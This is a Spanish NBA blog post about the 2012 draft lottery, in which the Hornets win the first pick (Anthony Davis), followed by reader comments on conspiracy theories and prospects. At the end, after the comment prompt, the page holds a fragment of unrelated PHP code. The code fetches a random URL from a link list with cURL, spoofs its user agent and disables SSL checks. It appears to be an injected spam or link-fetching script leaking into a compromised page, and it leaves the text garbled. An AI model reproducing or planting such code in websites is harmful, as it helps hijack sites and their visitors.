Los New Orleans Hornets consiguen el número 1 del draft

31 de May de 2012 por txusma

El mundo es justo. Los Hornets hubieran podido dejarse llevar en los últimos partidos de la temporada al estilo Warriors para así tener más posibilidades en el sorteo del draft. En lugar de eso ganaron 8 de sus 13 últimos partidos y se mostraron competitivos hasta el último momento. Ahora la suerte les ha sonreído y les ha premiado con Anthony Davis, el jugador que todos los analistas consideran como el próximo número 1 del draft.

Tras ellos elegirá el peor equipo de la historia, los Charlotte Bobcats, que reciben un duro golpe al perder el tan ansiado número 1. Washington Wizards se ha llevado la tercera elección.

El orden completo:

Equipo Pick
Hornets 1
Bobcats 2
Wizards 3
Cavaliers 4
Kings 5
Blazers* 6
Warriors 7
Raptors 8
Pistons 9
Hornets* 10
Blazers 11
Bucks 12
Suns 13
Rockets 14
* — Conseguida mediante trade
Comenta

39 comentarios a esta entrada

  1. nba dice:
    #1

    Tendran suerte los Blazers esta vez ??, esperemos que si porque ya han tenido su racha de mala suerte .
    A ver si consiguen algo interesante que ponga las cosas complicadas en el Oeste.

      Citar

  2. txusma dice:
    #2

    Con este número 1 Eric Gordon se planteará renovar por los Hornets?

      Citar

  3. melo15 dice:
    #3

    Bueno cuando querais hago un Mock Draft, aunque quizas sera mejor despues de playoffs.

      Citar

  4. TheDeerHunter dice:
    #4

    Sternato!!!

      Citar

  5. MagicJohnson32 dice:
    #5

    David Stern: “Y el pick número del draft de 2012 va, for basketball reasons… ¡¡para los New Orleans Hornets!!”

      Citar

  6. rumbero dice:
    #6

    Corre una foto por ahi de hace unos dias en la que sale Anthony Davis con una gorrita de los Hornets. Este Stern es un cachondo.

      Citar

  7. TheDeerHunter dice:
    #7

    “Davis excited by idea of playing for Hornets”

    sí, fiuuuu… debe de estar entusiasmadísimo ¬¬/

    pero vamos, entre que le toque en suerte esta banda o los bobcats no se yo

      Citar

  8. simon dice:
    #8

    Hombre cualquier cosa que no fueran los Bobcats para Davis era una bendicion.

    Soy yo el unico que ya pensaba desde hace semanas ( meses ) que el Nº 1 iba para New Orleans?? una franquicia con el 1 es mas jugosa para vender… al igual que wizards hace dos añitos.

      Citar

  9. GreenPride dice:
    #9

    A ver yo soy Davis y no me extraña que le haya gustado el draft. No es lo mismo irte a un solar como los Bobcats que acabar en un equipo con buenos jugadores como Gordon, Ariza Okafor, Jack, Bellinelli… y eso que Kaman y Landry son agentes libres. Yo si fuera él también estaría contento con la “mano negra” de Stern

      Citar

  10. HisRoyalAirness dice:
    #10

    Yo a Davis sólo le veo un problema…………………………

    ……habéis visto sus dientes inferiores??? Me recuerda a Predator. Espeluznante

      Citar

  11. melo15 dice:
    #11

    Pues discrepo totalmente, los Hornets tienen buen equipo y si se desarrolan bien los jovenes, pueden aspirar a playoffs. Las posiciones interiores estan bien cubiertas con Okafor, Ayon y ahora Davis. Y las exteriores mas o menos tambien con Gordon y Aminu, Ariza. Aunque en la posicion de base solo veo claro a Vasquez que de base supelnte esta bien, pero dudo que Jack pueda mover un equipo eficazmente por lo tanto si fuera Stern me decantaria por Kendal Marshall.

      Citar

  12. TheDeerHunter dice:
    #12

    HisRoyalAirness: Anthony Davis

    Pues los cejotes no sé a quien recuerdan

      Citar

  13. TheDeerHunter dice:
    #13

    Dios,, es jodidamente feo

      Citar

  14. melo15 dice:
    #14

    Que nadie se meta con Epi…quiero decir Anthony Davis jejejejej, da igual que sea feo mientras sea bueno.

      Citar

  15. nba dice:
    #15

    MagicJohnson32:
    David Stern: “Y el pick número del draft de 2012 va, for basketball reasons… ¡¡para los New Orleans Hornets!!”

    Se opondrán el resto de franquicias ??, ya que esto desvirtua totalmente la competicion….
    ahora en serio Jordan se debe estar dando cabezazos contra la pared

      Citar

  16. melo15 dice:
    #16

    Pero Stern no ha amañado el sorteo o si?

      Citar

  17. Jose Luis dice:
    #17

    Oficialmente no, melo15, pero extraoficialmente todo el mundo pensaba que iba para ellos. El mundo no es justo, es premeditado. Pocas veces habia estado mas en desacuerdo con el titular. Stern tenía que justificar lo que hizo de alguna manera (ya que Kaman se pirará, Aminu ha jugado poco y Gordon también iba a irse, al menos antes de esto) por lo que darle el número 1 era la forma más fácil de sacar pecho y decir que aquel traspaso fue bueno para los Horntes… Ja, me rio yo de eso.

      Citar

  18. txusma dice:
    #18

    Cuantos fans de las teorías conspiratorias… 😀

      Citar

  19. simon dice:
    #19

    txusma:
    Cuantos fans de las teorías conspiratorias…

    Hombre eso es lo que da el picante a la vida, y para muestra solo tienes que mirar los ultimos nº 1 del draft.

    Un chaval de Ohio llamado a estar entre los mejores de la historia, al que equiparan a Jordan. Una franquicia de Ohio a la deriva… vale que eran los que mas porcentaje tenian pero… alguien dudaba de que no era para ellos??

    Una franquicia a la venta ( Wizards ) que no hay quien la coja… nº 1 del draft y franquicia vendida.

    La franquicia de Ohio, abandonada por ese chaval que iba para mejor de la historia… al año siguiente nº 1 del draft ( aunque no les perteneciera esa ronda pero si se sabia que iba para ellos ) o sea que lo mismo es.

    Franquicia propiedad de la liga, con basketball reason o sin ellas va a la deriva, parece que la liga se la va a comer con patatas: resultado nº 1 y venta en marcha….

    y asi sin indagar mucho encontramos 4 “curiosas” historias alrededor del draft en apenas 8 años,
    ¿ casualidad o causalidad ?

      Citar

  20. txusma dice:
    #20

    No lo sé….
    Esto es lo que explica un periodista que estuvo en la sala en 2009.

    http://voices.washingtonpost.com/wizardsinsider/2009/05/sequestered-in-secaucus.html

    Ahora me diréis que tb está en el ajo, claro 😀

      Citar

  21. simon dice:
    #21

    txusma:
    No lo sé….
    Esto es lo que explica un periodista que estuvo en la sala en 2009.

    http://voices.washingtonpost.com/wizardsinsider/2009/05/sequestered-in-secaucus.html

    Ahora me diréis que tb está en el ajo, claro

    tampoco es que diga o aclare mucho la verdad…

      Citar

  22. Rompe dice:
    #22

    Hombre, creo que le toque a quien le toque, siempre se puede crear una bonita/conspiranoica historia alrededor.

    Si le toca a los Bobcats… Claro, para que Jordan no se desanime y siga intentándolo, que su figura le da glamour a la NBA…
    Si toca a los Kings… Problemas financieros, rumores de cambios de dueño y estadio, etc…
    Y así supongo que con todos o casi todos…

      Citar

  23. simon dice:
    #23

    Por cierto creo que uno de los mas tocados tras el sorteo son los Nets, sin ronda alta, no veo a Deron renovando sin la opción de traer a Howard, y sin pick alto no veo a Orlando mandando a Howard a New Jersey por Lopez a pelo… asi que creo que los Nets como minimo el año que viene volverán a rondar la parte de abajo de la tabla.

      Citar

  24. Txusma dice:
    #24

    simon:
    Por cierto creo que uno de los mas tocados tras el sorteo son los Nets, sin ronda alta, no veo a Deron renovando sin la opción de traer a Howard, y sin pick alto no veo a Orlando mandando a Howard a New Jersey por Lopez a pelo… asi que creo que los Nets como minimo el año que viene volverán a rondar la parte de abajo de la tabla.

    Los Nets habían traspasado su ronda a los Blazers creo q en el trade de Gerald Wallace. Ya contaban con que no tendrían elección alta.

      Citar

  25. nba dice:
    #25

    Veremos que tal sale Davis, pero me lo imagino intentando hacer un mate delante de Greg Monroe, y este le manda a sebastopol, creeis que puede ser un 4 aceptable ??

      Citar

  26. Blade Petrovic dice:
    #26

    Yo le veo futuro a los hornets..

      Citar

  27. melo15 dice:
    #27

    Bueno, aver de momento Davis es un Camby, un defensor muy bueno, ha de sumar quilos y eso, pero tiene buena velocidad, largos brazos, pero en ataque esta bastante poco desarrollado algo normal para alguien que solo lleva 4 años jugando de ala-pivot y tiene buena mecanica de tiro y eso…
    Pero se le ve trabajador asi que en mi opinion puede llegar a ser una mezcla entre Bosh y Garnett.

      Citar

  28. melo15 dice:
    #28

    De todas formas os recomiendo mi analisis del Top-10 de este Draft.
    PD: hay que sacar pecho XD

      Citar

  29. Txusma dice:
    #29

    Eso iba a decir, Gasol, Garnett, Bosh… cuando llegaron a la liga eran unos tirillas. Démosle un par de años y seguro q se pega con cualquiera. Eso si, veo a Davis más un 15-12 que un 20-10, es decir, mucho más decisivo en el aspecto defensivo que en el ofensivo.

      Citar

  30. melo15 dice:
    #30

    Para que me entendais, se ha de ir a cenar un par de dias con Eddy Curry, y despues que le pregunte a Ricky donde le enseñaron a tirar.

      Citar

  31. simon dice:
    #31

    Txusma: Los Nets habían traspasado su ronda a los Blazers creo q en el trade de Gerald Wallace. Ya contaban con que no tendrían elección alta.

    Ya pero quiero decir que los Nets se la jugaron a doble o nada que es lo que les ha terminado saliendo
    en plan conseguimos a Gerald Wallace y con un poquito de suerte esa eleccion top 3 que nos sirve para canjearla por algo que convenza a G.Wallace y a Deron y en nada me monto un aspirante
    o NADA que es conseguimos a Wallace 2 mesecitos y ahora intentara irse a nada que le llegue una buena oferta y Deron casi lo mismo.

      Citar

  32. Ru dice:
    #32

    Yo tengo muchísimas ganas de ver qué es capaz de hacer Jordan con el pick 2.Lo veo eligiendo a Andre Drummond en el número 2,rememorando un Kwame Brown cuando estaba en los Wizards,aunque salva que Drummond no tiene las manos pequeñas (xDD) pero está verde que te quiero verde.También puede elegir la opción romántica: elijo a Harrison Barnes,del equipo de North Carolina,que está aquí al lao,para hacerlo un ídolo.

    Curiosidad…

      Citar

  33. txusma dice:
    #33

    Ru:
    Yo tengo muchísimas ganas de ver qué es capaz de hacer Jordan con el pick 2.Lo veo eligiendo a Andre Drummond en el número 2,rememorando un Kwame Brown cuando estaba en los Wizards,aunque salva que Drummond no tiene las manos pequeñas (xDD) pero está verde que te quiero verde.También puede elegir la opción romántica: elijo a Harrison Barnes,del equipo de North Carolina,que está aquí al lao,para hacerlo un ídolo.

    Curiosidad…

    O Thomas Robinson o Kidd-Giltrisch. Cualquier otra cosa sería un sorpresón…

      Citar

  34. simon dice:
    #34

    Puuuf yo quiero que Jordan elija a Drummond. No se pq ese chico no me cae bien y pienso que va a ser un Bluff de los grandes. y lo mismo me pasa con los Charlotte Bobcats… no se pq quizás por su estilo de juego no se.

    Por cierto me causa sorpresa el hecho de que casi todos los mock dan a SUllinger caer hasta el 17… tan mala ha sido su temporada para caer tan abajo? Solo draft express le da el 6. todas las demas el 17 con Dallas Mavericks

      Citar

  35. Ru dice:
    #35

    txusma: O Thomas Robinson o Kidd-Giltrisch. Cualquier otra cosa sería un sorpresón…

    Si,si,si opciones ha varias,pero aunque el factor incógnita está en todos y cada uno de los jugadores procedentes de la universidad,esos dos que menciono yo creo que tienen mayor riesgo que otras elecciones.Sensaciones personales mezcladas con confabulaciones por ese halo alrededor de ellos,uno siendo del equipo universitario de la región,equipo de Jordan cuando jugó en la NCAA,y otro con el recuerdo de K.Brown,nu se nu se…

    PD.yo eligiría a Kidd

      Citar

  36. melo15 dice:
    #36

    A Sullinger lo escogeran entre la posicion 10 , le ha afectado que tiene delante a Davis y a Robinson, y tambien esta por ahi Perry Jones, pero la temporada individual de Sullinger ha sido buena, mejorando en muchos aspectos como el tiro de media y larga distancias y ha perdido unos quantos kilos.

    Yo si fuera los Bobcats me tiro de cabeza a por Kidd-Gilchrist y asi de paso les fastidio a los Wizards, ademas Kidd aportara seriedad y un poco de competividad a la banda que son ahora mismo Charlotte.
    Drummond tiene toda la pinta de ser un bluff, esque lo tiene TODO, hombre alto, atletico, que solo sabe anotar cerca del aro, buen defensor gracias al fisico y mala etica de trabajo. Aver si lo escogen los Blazers, porque necesitan un pivot y son bastante escasos, aparte de Zeller y Leonard…

      Citar

  37. Ru dice:
    #37

    Pues fíjate melo15 que yo de ser los Blazers,manteniendo bloque Aldridge-Batum-Hickson,apostaría por Tylor Zeller antes que Drummond y la apuesta arriesgada la hacía por un SG en el pick 6,particularmente sabeís mis preferencias respecto a Austin Rivers pero Bradley Beal o Lamb pueden ser opciones muy interesantes para ellos.

      Citar

  38. simon dice:
    #38

    yo de los Blazers tambien escogeria un SG con su primera elección y con el 11 escogeria a uno de los Pivot que queden, además visto los mock draft hasta ahi van a caer casi con seguridad algunos pivots interesantes como Sullinger, Zeller, Meyers Leonard, Henson…

      Citar

  39. simon dice:
    #39

    Por cierto sueño, con que caiga hasta el 7 ( aunque me parece dificil ) Harrison Barnes.
    Golden State se montaria un equipo asi:

    Curry/Robinson
    Thompson/ Jefferson/ Rush
    Barnes/ Wright
    Lee/ Jeremy Tyler ( no lo hizo del todo mal al final de temporada )
    Bogut/ Biedrins ( ojala y se libraran de el )
    Les falta buenos defensores pero que mas da! son Golden State hay que correr y Bogut causara gran impacto por dentro en defensa y en ataque. Sano es de los mejores pivots
    Lastima que gastaran su amnistia en Bell pudiendo darsela a Biedrins, con ese dinero podrian haber conseguido un buen ( de verdad) interno suplente y un exterior especialista en defensa. y con el 30 podrían haber cogido a Fab Melo. que es enorme y podría resultar de gran ayuda.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>